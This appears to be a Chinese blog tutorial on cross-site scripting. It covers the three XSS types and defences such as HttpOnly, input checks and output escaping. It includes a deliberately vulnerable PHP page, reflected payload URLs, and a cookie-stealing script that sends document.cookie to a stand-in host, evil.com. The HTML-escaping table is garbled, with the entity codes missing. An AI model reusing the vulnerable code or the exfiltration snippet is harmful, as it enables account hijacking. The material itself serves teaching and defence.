前段時間在學習Web安全方面的知識,對這方面有了進一步的了解,決定寫文章記錄下來,只是對Web安全方面知識的一些總結,沒有太多的深度。
XSS攻擊簡介
跨站腳本攻擊(XSS),英文全稱 Cross Site Script, 是Web安全頭號大敵。
XSS攻擊,一般是指黑客通過在網頁中注入惡意腳本,當用戶瀏覽網頁時,惡意腳本執行,控制用戶瀏覽器行為的一種攻擊方式。其中,XSS攻擊通常分為反射型XSS、存儲型XSS、DOM Based XSS三種。可以通過以下例子看看XSS攻擊是如何產生的。
一個簡單的例子
本地服務器的的/xssTest 目錄下,有一個test.php文件,代碼如下:
<?php
$userName=$_GET['userName']; //獲取用戶輸入的參數
echo "<b>".$userName."</b>"; //直接輸出用戶的參數給前端頁面
?>
正常情況下,用戶提交的姓名可以正確顯示在頁面上,不會構成XSS攻擊,比如,當用戶訪問以下URL:
http://localhost/xssTest/test.php?userName=jack
頁面會顯示:
可以看到,用戶在URL中輸入的參數正常顯示在頁面上。
然后,我們嘗試在URL中插入JavaScript代碼,如:
http://localhost/xssTest/test.php?userName=<script>window.open(http://www.baidu.com)</script>
則頁面會顯示:
可以看到,頁面沒有把userName后面的內容顯示出來,而且打開了一個新的標簽頁,原因是在URL中帶有一段打開另一標簽頁的惡意腳本。
這個例子雖然簡短,但體現了最簡單的XSS攻擊的完整流程。
XSS攻擊類型
根據攻擊的方式,XSS攻擊可以分為三類:反射型XSS、存儲型XSS、DOM Based XSS。
反射型XSS也被稱為非持久性XSS,這種攻擊方式把XSS的Payload寫在URL中,通過瀏覽器直接“反射"給用戶。這種攻擊方式通常需要誘使用戶點擊某個惡意鏈接,才能攻擊成功。
存儲型XSS又被稱為持久性XSS,會把黑客輸入的惡意腳本存儲在服務器的數據庫中。當其他用戶瀏覽頁面包含這個惡意腳本的頁面,用戶將會受到黑客的攻擊。一個常見的場景就是黑客寫下一篇包含惡意JavaScript腳本的博客文章,當其他用戶瀏覽這篇文章時,惡意的JavaScript代碼將會執行。
DOM Based XSS 是一種利用前端代碼漏洞進行攻擊的攻擊方式。前面的反射型XSS與存儲型XSS雖然惡意腳本的存放位置不同,但其本質都是利用后端代碼的漏洞。
反射型和存儲型xss是服務器端代碼漏洞造成的,payload在響應頁面中,DOM Based中,payload不在服務器發出的HTTP響應頁面中,當客戶端腳本運行時(渲染頁面時),payload才會加載到腳本中執行。
XSS攻擊的危害
我們把進行XSS攻擊的惡意腳本成為XSS Payload。XSS Payload的本質是JavaScript腳本,所以JavaScript可以做什么,XSS攻擊就可以做什么。
一個最常見的XSS Payload就是盜取用戶的Cookie,從而發起Cookie劫持攻擊。Cookie中,一般會保存當前用戶的登錄憑證,如果Cookie被黑客盜取,以為著黑客有可能通過Cookie直接登進用戶的賬戶,進行惡意操作。
如下所示,攻擊者先加載一個遠程腳本:
http://localhost/xssTest/test.php?userName=<scriipt src=http://www.evil.com/evil.js></script>
而真正的XSS Payload,則寫在遠程腳本evil.js中。在evil.js中,可以通過下列代碼竊取用戶Cookie:
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
這段代碼插入了一張看不見的圖片,同時把document.cookie作為參數,發到遠程服務器。黑客在拿到cookie后,只需要替換掉自身的cookie,就可以登入被盜取者的賬戶,進行惡意操作。
一個網站的應用只需要接受HTTP的POST請求和GET請求,就可以完成所有的操作,對于黑客而言,僅通過JavaScript就可以完成這些操作。
防御
其實如今一些流行的瀏覽器都內置了一些對抗XSS的措施,比如Firefox的CSP、IE 8內置的XSS Filter等。除此之外,還有以下防御手段
HttpOnly
HttpOnly最早是由微軟提出,并在IE6中實現的,至今已逐漸成為一個標準。瀏覽器將禁止頁面的JavaScript訪問帶有HttpOnly 屬性的Cookie。以下瀏覽器開始支持HttpOnly:
- Microsoft IE 6 SP1+
- Mozilla FireFox 2.0.0.5+
- Mozilla Firefox 3.0.0.6+
- Google Chrome
- Apple Safari 4.0+
- Opera 9.5+
一個Cookie的使用過程如下:
Step1: 瀏覽器向服務器發送請求,這時候沒有cookie。
Step2: 服務器返回同時,發送Set-Cookie頭,向客戶端瀏覽器寫入Cookie。
Step3: 在該Cookie到期前,瀏覽器訪問該域名下所有的頁面,都將發送該Cookie。
而HttpOnly是在Set-Cookie時標記的。
輸入檢查
常見的Web漏洞,如XSS、SQL注入等,都要求攻擊者構造一些特殊的字符串,而這些字符串是一般用戶不會用到的,所以進行輸入檢查就很有必要了。
輸入檢查可以在用戶輸入的格式檢查中進行。很多網站的用戶名都要求是字母及數字的組合如“abc1234”,其實也能過濾一部分的XSS和SQL注入。但是,這種在客戶端的限制很容易被繞過,攻擊者可以用JavaScript或一些請求工具,直接構造請求,想網站注入XSS或者SQL。所以,除了在客戶端進行格式檢查,往往還需要在后端進行二次檢查。客戶端的檢查主要作用是阻擋大部分誤操作的正常用戶,從而節約服務器資源。
對輸出轉義
在輸出數據之前對潛在的威脅的字符進行編碼、轉義是防御XSS攻擊十分有效的措施。
為了對抗XSS,在HtmlEncode中至少轉換以下字符:
< 轉成 <
;
>
轉成 >
;
& 轉成 &
;
" 轉成 "
;
' 轉成 '
參考鏈接:
https://www.zhihu.com/question/26628342
《白帽子講Web安全》